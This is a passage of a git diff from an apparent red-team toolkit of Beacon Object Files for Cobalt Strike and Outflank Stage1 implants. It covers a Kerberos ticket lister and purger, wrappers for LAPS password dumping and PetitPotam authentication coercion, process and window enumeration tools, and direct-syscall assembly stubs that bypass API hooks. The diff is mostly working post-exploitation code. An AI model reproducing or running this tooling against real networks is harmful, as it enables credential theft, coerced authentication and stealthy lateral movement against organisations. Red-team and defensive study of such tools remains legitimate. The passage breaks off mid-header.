ShowNTError(L"LsaCallAuthenticationPackage", Status); + BeaconPrintf(CALLBACK_ERROR, "Substatus: 0x%x\n", SubStatus); + return FALSE; + } + + BeaconPrintToStreamW(L"\nCached Tickets: (%lu)\n\n", CacheResponse->CountOfTickets); + for (Index = 0; Index < CacheResponse->CountOfTickets; Index++) { + BeaconPrintToStreamW(L"#%d>\tClient: %wZ @ %wZ\n", Index, &CacheResponse->Tickets[Index].ClientName, &CacheResponse->Tickets[Index].ClientRealm); + BeaconPrintToStreamW(L"\tServer: %wZ @ %wZ\n", &CacheResponse->Tickets[Index].ServerName, &CacheResponse->Tickets[Index].ServerRealm); + PrintEType(CacheResponse->Tickets[Index].EncryptionType, FALSE); + BeaconPrintToStreamW(L"\tTicket Flags: 0x%x -> ", CacheResponse->Tickets[Index].TicketFlags); + PrintTktFlags(CacheResponse->Tickets[Index].TicketFlags); + PrintTime(L"\tStart Time: ", CacheResponse->Tickets[Index].StartTime); + PrintTime(L"\tEnd Time: ", CacheResponse->Tickets[Index].EndTime); + PrintTime(L"\tRenew Time: ", CacheResponse->Tickets[Index].RenewTime); + PrintEType(CacheResponse->Tickets[Index].SessionKeyType, TRUE); + PrintCacheFlags(CacheResponse->Tickets[Index].CacheFlags); + BeaconPrintToStreamW(L"\tKdc Called: %wZ\n", &CacheResponse->Tickets[Index].KdcCalled); + BeaconPrintToStreamW(L"\r\n"); + } + + if (bPurge) { + if (CacheResponse->CountOfTickets > 0) { + if (PurgeTickets(LogonHandle, PackageId)) { + BeaconPrintToStreamW(L"Ticket(s) purged!\n"); + } + } + } + + if (CacheResponse != NULL) { + SECUR32$LsaFreeReturnBuffer(CacheResponse); + } + + //Print final Output BeaconOutputStreamW(); - return TRUE; + return TRUE; } BOOL PackageConnectLookup(HANDLE* pLogonHandle, ULONG* pPackageId) { - LSA_STRING Name; - NTSTATUS Status; - - Status = SECUR32$LsaConnectUntrusted(pLogonHandle); - if (!SEC_SUCCESS(Status)) { - ShowNTError(L"LsaConnectUntrusted", Status); - return FALSE; - } - - Name.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A; - Name.Length = (USHORT)MSVCRT$strlen(Name.Buffer); - Name.MaximumLength = Name.Length + 1; - - Status = SECUR32$LsaLookupAuthenticationPackage(*pLogonHandle,&Name, pPackageId); - if (!SEC_SUCCESS(Status)) { - ShowNTError(L"LsaLookupAuthenticationPackage", Status); - return FALSE; - } - - return TRUE; + LSA_STRING Name; + NTSTATUS Status; + + Status = SECUR32$LsaConnectUntrusted(pLogonHandle); + if (!SEC_SUCCESS(Status)) { + ShowNTError(L"LsaConnectUntrusted", Status); + return FALSE; + } + + Name.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A; + Name.Length = (USHORT)MSVCRT$strlen(Name.Buffer); + Name.MaximumLength = Name.Length + 1; + + Status = SECUR32$LsaLookupAuthenticationPackage(*pLogonHandle,&Name, pPackageId); + if (!SEC_SUCCESS(Status)) { + ShowNTError(L"LsaLookupAuthenticationPackage", Status); + return FALSE; + } + + return TRUE; } VOID go(IN PCHAR Args, IN ULONG Length) { - HANDLE LogonHandle = NULL; - ULONG PackageId; - LPCWSTR lpwPurge = NULL; - BOOL bPurge = FALSE; + HANDLE LogonHandle = NULL; + ULONG PackageId; + LPCWSTR lpwPurge = NULL; + BOOL bPurge = FALSE; - // Parse Arguments + // Parse Arguments datap parser; BeaconDataParse(&parser, Args, Length); - lpwPurge = (WCHAR*)BeaconDataExtract(&parser, NULL); - if (MSVCRT$_wcsicmp(lpwPurge, L"purge") == 0) { + lpwPurge = (WCHAR*)BeaconDataExtract(&parser, NULL); + if (MSVCRT$_wcsicmp(lpwPurge, L"purge") == 0) { bPurge = TRUE; } - if (PackageConnectLookup(&LogonHandle, &PackageId)) { - ShowTickets(LogonHandle, PackageId, bPurge); - } + if (PackageConnectLookup(&LogonHandle, &PackageId)) { + ShowTickets(LogonHandle, PackageId, bPurge); + } + + if (LogonHandle != NULL) { + SECUR32$LsaDeregisterLogonProcess(LogonHandle); + } - if (LogonHandle != NULL) { - SECUR32$LsaDeregisterLogonProcess(LogonHandle); - } - return; } diff --git a/BOF/Klist/SOURCE/Klist.h b/BOF/Klist/SOURCE/Klist.h index db1fc4e..ba72196 100755 --- a/BOF/Klist/SOURCE/Klist.h +++ b/BOF/Klist/SOURCE/Klist.h @@ -2,35 +2,42 @@ #include +#define AddEtype(n) { n, TEXT(#n) } + #define KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 17 #define KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 18 typedef enum _KERB_PROTOCOL_MESSAGE_TYPE_BOF { - KerbQueryTicketCacheEx3MessageBof = 25 + KerbQueryTicketCacheEx3MessageBof = 25 } KERB_PROTOCOL_MESSAGE_TYPE_BOF, *PKERB_PROTOCOL_MESSAGE_TYPE_BOF; typedef struct _KERB_TICKET_CACHE_INFO_EX3_BOF { - UNICODE_STRING ClientName; - UNICODE_STRING ClientRealm; - UNICODE_STRING ServerName; - UNICODE_STRING ServerRealm; - LARGE_INTEGER StartTime; - LARGE_INTEGER EndTime; - LARGE_INTEGER RenewTime; - LONG EncryptionType; - ULONG TicketFlags; - ULONG SessionKeyType; - ULONG BranchId; - ULONG CacheFlags; - UNICODE_STRING KdcCalled; + UNICODE_STRING ClientName; + UNICODE_STRING ClientRealm; + UNICODE_STRING ServerName; + UNICODE_STRING ServerRealm; + LARGE_INTEGER StartTime; + LARGE_INTEGER EndTime; + LARGE_INTEGER RenewTime; + LONG EncryptionType; + ULONG TicketFlags; + ULONG SessionKeyType; + ULONG BranchId; + ULONG CacheFlags; + UNICODE_STRING KdcCalled; } KERB_TICKET_CACHE_INFO_EX3_BOF, *PKERB_TICKET_CACHE_INFO_EX3_BOF; typedef struct _KERB_QUERY_TKT_CACHE_EX3_RESPONSE_BOF { - KERB_PROTOCOL_MESSAGE_TYPE MessageType; - ULONG CountOfTickets; - KERB_TICKET_CACHE_INFO_EX3_BOF Tickets[ANYSIZE_ARRAY]; + KERB_PROTOCOL_MESSAGE_TYPE MessageType; + ULONG CountOfTickets; + KERB_TICKET_CACHE_INFO_EX3_BOF Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_EX3_RESPONSE_BOF, *PKERB_QUERY_TKT_CACHE_EX3_RESPONSE_BOF; +typedef struct _ETYPE { + INT etype; + LPCWSTR ename; +} ETYPE; + //MSVCRT WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format, ...); WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat_s(wchar_t *strDestination, size_t numberOfElements, const wchar_t *strSource); diff --git a/BOF/Klist/SOURCE/Makefile b/BOF/Klist/SOURCE/Makefile index 7160169..6bc9e4a 100644 --- a/BOF/Klist/SOURCE/Makefile +++ b/BOF/Klist/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := Klist +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/Lapsdump/Lapsdump.cna b/BOF/Lapsdump/Lapsdump.cna index 970865c..5dd0007 100644 --- a/BOF/Lapsdump/Lapsdump.cna +++ b/BOF/Lapsdump/Lapsdump.cna @@ -19,7 +19,7 @@ alias Lapsdump { } # Read in the right BOF file - $handle = openf(script_resource("Lapsdump.o")); + $handle = openf(script_resource("Lapsdump." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Lapsdump/Lapsdump_bof.s1.py b/BOF/Lapsdump/Lapsdump_bof.s1.py new file mode 100644 index 0000000..369bfcd --- /dev/null +++ b/BOF/Lapsdump/Lapsdump_bof.s1.py @@ -0,0 +1,22 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class LapsdumpBOF(BaseBOFTask): + def __init__(self): + super().__init__("Lapsdump") + + self.parser.description = ( + "Dump LAPS passwords from specified computers within Active Directory." + ) + + self.parser.add_argument("hostname") + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + return [(BOFArgumentEncoding.WSTR, parser_arguments.hostname)] diff --git a/BOF/Lapsdump/SOURCE/Makefile b/BOF/Lapsdump/SOURCE/Makefile index 0f99f03..6bc9e4a 100644 --- a/BOF/Lapsdump/SOURCE/Makefile +++ b/BOF/Lapsdump/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := Lapsdump +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/PetitPotam/PetitPotam.cna b/BOF/PetitPotam/PetitPotam.cna index 3332b59..7a331f3 100644 --- a/BOF/PetitPotam/PetitPotam.cna +++ b/BOF/PetitPotam/PetitPotam.cna @@ -30,7 +30,7 @@ alias PetitPotam { } # Read in the right BOF file - $handle = openf(script_resource("PetitPotam.o")); + $handle = openf(script_resource("PetitPotam." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/PetitPotam/PetitPotam_bof.s1.py b/BOF/PetitPotam/PetitPotam_bof.s1.py new file mode 100644 index 0000000..e011072 --- /dev/null +++ b/BOF/PetitPotam/PetitPotam_bof.s1.py @@ -0,0 +1,33 @@ +from typing import List, Tuple + +from outflank_stage1.implant import ImplantArch +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class PetitPotamBOF(BaseBOFTask): + def __init__(self): + super().__init__( + "PetitPotam", + supported_architectures=[ImplantArch.INTEL_X64], + ) + + self.parser.description = ( + "Coerce Windows hosts to authenticate to other machines via MS-EFSRPC." + ) + self.parser.epilog = "Example usage:\n - PetitPotam [capture server ip or hostname] [target server ip or hostname]" + + self.parser.add_argument( + "captureserver", help="Can be an IP address or hostname." + ) + self.parser.add_argument("target", help="Can be a IP address or hostname.") + + def _encode_arguments_bof( + self, arguments: List[str] + ) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + return [ + (BOFArgumentEncoding.WSTR, parser_arguments.captureserver), + (BOFArgumentEncoding.WSTR, parser_arguments.target), + ] diff --git a/BOF/PetitPotam/SOURCE/Makefile b/BOF/PetitPotam/SOURCE/Makefile index 93d136b..d01bb16 100644 --- a/BOF/PetitPotam/SOURCE/Makefile +++ b/BOF/PetitPotam/SOURCE/Makefile @@ -1,10 +1,16 @@ -BOF := PetitPotam +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/Psc/SOURCE/Makefile b/BOF/Psc/SOURCE/Makefile index fb9fbab..6bc9e4a 100644 --- a/BOF/Psc/SOURCE/Makefile +++ b/BOF/Psc/SOURCE/Makefile @@ -1,16 +1,19 @@ -BOF := Psc +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).x64.o -c $(BOF).c $(CFLAGS) - $(STRIP_x64) --strip-unneeded ../$(BOF).x64.o - - $(CC_x86) -o ../$(BOF).x86.o -c $(BOF).c $(CFLAGS) -DWOW64 -fno-leading-underscore - $(STRIP_x86) --strip-unneeded ../$(BOF).x86.o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).*.o \ No newline at end of file + rm ../*.o diff --git a/BOF/Psc/SOURCE/Psc.c b/BOF/Psc/SOURCE/Psc.c index 16c2d6f..01e5456 100644 --- a/BOF/Psc/SOURCE/Psc.c +++ b/BOF/Psc/SOURCE/Psc.c @@ -1,3 +1,11 @@ +#ifdef __MINGW32__ +#if(_WIN32_WINNT >= 0x0601) +#else +#undef _WIN32_WINNT +#define _WIN32_WINNT 0x0601 +#endif +#endif + #include #include #include diff --git a/BOF/Psc/SOURCE/Syscalls-WoW64.h b/BOF/Psc/SOURCE/Syscalls-WoW64.h index be42438..2d067e2 100644 --- a/BOF/Psc/SOURCE/Syscalls-WoW64.h +++ b/BOF/Psc/SOURCE/Syscalls-WoW64.h @@ -12,18 +12,18 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov ebp, esp \n\ mov ecx, fs:[0x30] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [ecx+0x0A4], 10 \n\ + cmp word ptr [ecx+0x0A4], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [ecx+0x0A4], 6 \n\ + cmp word ptr [ecx+0x0A4], 6 \n\ jne ExecuteSimpleSystemCallBase_Epilogue \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [ecx+0x0A8], 3 \n\ + cmp word ptr [ecx+0x0A8], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [ecx+0x0A8], 2 \n\ + cmp word ptr [ecx+0x0A8], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [ecx+0x0A8], 1 \n\ + cmp word ptr [ecx+0x0A8], 1 \n\ jne ExecuteSimpleSystemCallBase_Epilogue \n\ - cmp dword ptr [ecx+0x0AC], 7601 \n\ + cmp word ptr [ecx+0x0AC], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_Epilogue \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Psc/SOURCE/Syscalls.h b/BOF/Psc/SOURCE/Syscalls.h index fd1194e..c683d77 100644 --- a/BOF/Psc/SOURCE/Syscalls.h +++ b/BOF/Psc/SOURCE/Syscalls.h @@ -9,19 +9,19 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov r10, gs:[0x60] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [r10+0x118], 10 \n\ + cmp word ptr [r10+0x118], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [r10+0x118], 6 \n\ + cmp word ptr [r10+0x118], 6 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [r10+0x11c], 3 \n\ + cmp word ptr [r10+0x11c], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [r10+0x11c], 2 \n\ + cmp word ptr [r10+0x11c], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [r10+0x11c], 1 \n\ + cmp word ptr [r10+0x11c], 1 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_1_XXXX: \n\ - cmp dword ptr [r10+0x120], 7601 \n\ + cmp word ptr [r10+0x120], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Psc/psc_bof.s1.py b/BOF/Psc/psc_bof.s1.py new file mode 100644 index 0000000..683b540 --- /dev/null +++ b/BOF/Psc/psc_bof.s1.py @@ -0,0 +1,8 @@ +from outflank_stage1.task.base_bof_task import BaseBOFTask + + +class PscBOF(BaseBOFTask): + def __init__(self): + super().__init__("psc", base_binary_name="Psc") + + self.parser.description = "Show detailed information from processes with established TCP and RDP connections." diff --git a/BOF/Psk/SOURCE/Makefile b/BOF/Psk/SOURCE/Makefile index e6c7b29..6bc9e4a 100644 --- a/BOF/Psk/SOURCE/Makefile +++ b/BOF/Psk/SOURCE/Makefile @@ -1,16 +1,19 @@ -BOF := Psk +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).x64.o -c $(BOF).c $(CFLAGS) - $(STRIP_x64) --strip-unneeded ../$(BOF).x64.o - - $(CC_x86) -o ../$(BOF).x86.o -c $(BOF).c $(CFLAGS) -DWOW64 -fno-leading-underscore - $(STRIP_x86) --strip-unneeded ../$(BOF).x86.o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).*.o \ No newline at end of file + rm ../*.o diff --git a/BOF/Psk/psk_bof.s1.py b/BOF/Psk/psk_bof.s1.py new file mode 100644 index 0000000..9305b60 --- /dev/null +++ b/BOF/Psk/psk_bof.s1.py @@ -0,0 +1,8 @@ +from outflank_stage1.task.base_bof_task import BaseBOFTask + + +class PskBOF(BaseBOFTask): + def __init__(self): + super().__init__("psk", base_binary_name="Psk") + + self.parser.description = "Show detailed information from the windows kernel and loaded driver modules." diff --git a/BOF/Psw/Psw.cna b/BOF/Psw/Psw.cna index 2f4459d..c9aeb14 100644 --- a/BOF/Psw/Psw.cna +++ b/BOF/Psw/Psw.cna @@ -9,7 +9,7 @@ alias psw { $bid = $1; # Read in the right BOF file - $handle = openf(script_resource("Psw.o")); + $handle = openf(script_resource("Psw." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Psw/SOURCE/Makefile b/BOF/Psw/SOURCE/Makefile index 978f38d..6bc9e4a 100644 --- a/BOF/Psw/SOURCE/Makefile +++ b/BOF/Psw/SOURCE/Makefile @@ -1,11 +1,19 @@ -BOF := Psw +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c $(CFLAGS) - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o \ No newline at end of file + rm ../*.o diff --git a/BOF/Psw/SOURCE/Psw.c b/BOF/Psw/SOURCE/Psw.c index a5cea0a..a321c52 100644 --- a/BOF/Psw/SOURCE/Psw.c +++ b/BOF/Psw/SOURCE/Psw.c @@ -1,16 +1,21 @@ #include +#if defined(WOW64) +#include "Syscalls-WoW64.h" +#else #include "Syscalls.h" +#endif #include "beacon.h" #include "Psw.h" +#define MAX_NAME 8192 + BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { NTSTATUS status; DWORD dwProcessId = 0; - CHAR chWindowTitle[2048]; + PCHAR pWindowTitle = NULL; LPVOID pBuffer = NULL; - SIZE_T uSize = 0; if (!hWnd) { return TRUE; @@ -20,9 +25,13 @@ BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { return TRUE; } - MSVCRT$memset(chWindowTitle, 0, sizeof(chWindowTitle)); - if (!USER32$SendMessageA(hWnd, WM_GETTEXT, sizeof(chWindowTitle), (LPARAM)chWindowTitle)){ - return TRUE; + pWindowTitle = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_NAME); + if (pWindowTitle == NULL) { + goto CleanUp; + } + + if (!USER32$SendMessageA(hWnd, WM_GETTEXT, MAX_NAME, (LPARAM)pWindowTitle)) { + goto CleanUp; } USER32$GetWindowThreadProcessId(hWnd, &dwProcessId); @@ -31,12 +40,11 @@ BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { ULONG uReturnLength = 0; status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength); if (!status == STATUS_INFO_LENGTH_MISMATCH) { - return TRUE; + goto CleanUp; } - - uSize = uReturnLength; - status = ZwAllocateVirtualMemory(NtCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE); - if (status != STATUS_SUCCESS) { + + pBuffer = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength); + if (pBuffer == NULL) { goto CleanUp; } @@ -53,7 +61,7 @@ BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { BeaconPrintf(CALLBACK_OUTPUT, "[+] ProcessName:\t %wZ\n" " ProcessID:\t %d\n" - " WindowTitle:\t %s\n", &pProcInfo->ProcessName, dwProcessId, chWindowTitle); + " WindowTitle:\t %s\n", &pProcInfo->ProcessName, dwProcessId, pWindowTitle); break; } else if (pProcInfo->NextEntryDelta == 0) { @@ -66,8 +74,12 @@ BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { CleanUp: + if (pWindowTitle != NULL) { + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pWindowTitle); + } + if (pBuffer != NULL) { - status = ZwFreeVirtualMemory(NtCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE); + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pBuffer); } return TRUE; diff --git a/BOF/Psw/SOURCE/Psw.h b/BOF/Psw/SOURCE/Psw.h index fb4d9c9..8fd30cd 100755 --- a/BOF/Psw/SOURCE/Psw.h +++ b/BOF/Psw/SOURCE/Psw.h @@ -57,6 +57,11 @@ WINUSERAPI WINBOOL USER32$IsWindowVisible(HWND hWnd); WINUSERAPI LRESULT USER32$SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); WINUSERAPI DWORD USER32$GetWindowThreadProcessId(HWND hWnd,LPDWORD lpdwProcessId); +//KERNEL32 +WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); +WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); +WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); + EXTERN_C NTSTATUS ZwAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, diff --git a/BOF/Psw/SOURCE/Syscalls-WoW64.h b/BOF/Psw/SOURCE/Syscalls-WoW64.h new file mode 100644 index 0000000..7f34807 --- /dev/null +++ b/BOF/Psw/SOURCE/Syscalls-WoW64.h @@ -0,0 +1,68 @@ +#pragma once + +// This function expects a syscall number in eax and will increment it once for every mayor version +// Note, this function will not work for all systemcalls. Only for most of them. +// Example: +// mov eax, 0x23 ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26 +// call ExecuteSimpleSystemCallBase + +__asm__("ExecuteSimpleSystemCallBase: \n\ + pop ecx \n\ + push ebp \n\ + mov ebp, esp \n\ + mov ecx, fs:[0x30] \n\ +ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ + cmp word ptr [ecx+0x0A4], 10 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ + cmp word ptr [ecx+0x0A4], 6 \n\ + jne ExecuteSimpleSystemCallBase_Epilogue \n\ +ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ + cmp word ptr [ecx+0x0A8], 3 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ + cmp word ptr [ecx+0x0A8], 2 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ + cmp word ptr [ecx+0x0A8], 1 \n\ + jne ExecuteSimpleSystemCallBase_Epilogue \n\ + cmp word ptr [ecx+0x0AC], 7601 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ + jmp ExecuteSimpleSystemCallBase_Epilogue \n\ +ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_1_7601: \n\ +ExecuteSimpleSystemCallBase_Argument_Count: \n\ + mov ecx, 0x10 \n\ +ExecuteSimpleSystemCallBase_Push_Argument: \n\ + dec ecx \n\ + push [ebp + 0x08 + ecx * 4] \n\ + jnz ExecuteSimpleSystemCallBase_Push_Argument \n\ + lea ebx,[ExecuteSimpleSystemCallBase_Epilogue] \n\ + push ebx \n\ + call dword ptr fs:[0x0C0] \n\ + lea esp, [esp+4] \n\ +ExecuteSimpleSystemCallBase_Epilogue: \n\ + mov esp, ebp \n\ + pop ebp \n\ + ret \n\ + "); + +__asm__("ZwAllocateVirtualMemory: \n\ + mov eax, 0x015 \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); + +__asm__("ZwFreeVirtualMemory: \n\ + mov eax, 0x01B \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); + +__asm__("ZwQuerySystemInformation: \n\ + mov eax, 0x033 \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); diff --git a/BOF/Psw/SOURCE/Syscalls.h b/BOF/Psw/SOURCE/Syscalls.h index b4e4968..bcaa69e 100644 --- a/BOF/Psw/SOURCE/Syscalls.h +++ b/BOF/Psw/SOURCE/Syscalls.h @@ -9,19 +9,19 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov r10, gs:[0x60] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [r10+0x118], 10 \n\ + cmp word ptr [r10+0x118], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [r10+0x118], 6 \n\ + cmp word ptr [r10+0x118], 6 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [r10+0x11c], 3 \n\ + cmp word ptr [r10+0x11c], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [r10+0x11c], 2 \n\ + cmp word ptr [r10+0x11c], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [r10+0x11c], 1 \n\ + cmp word ptr [r10+0x11c], 1 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_1_XXXX: \n\ - cmp dword ptr [r10+0x120], 7601 \n\ + cmp word ptr [r10+0x120], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Psw/psw_bof.s1.py 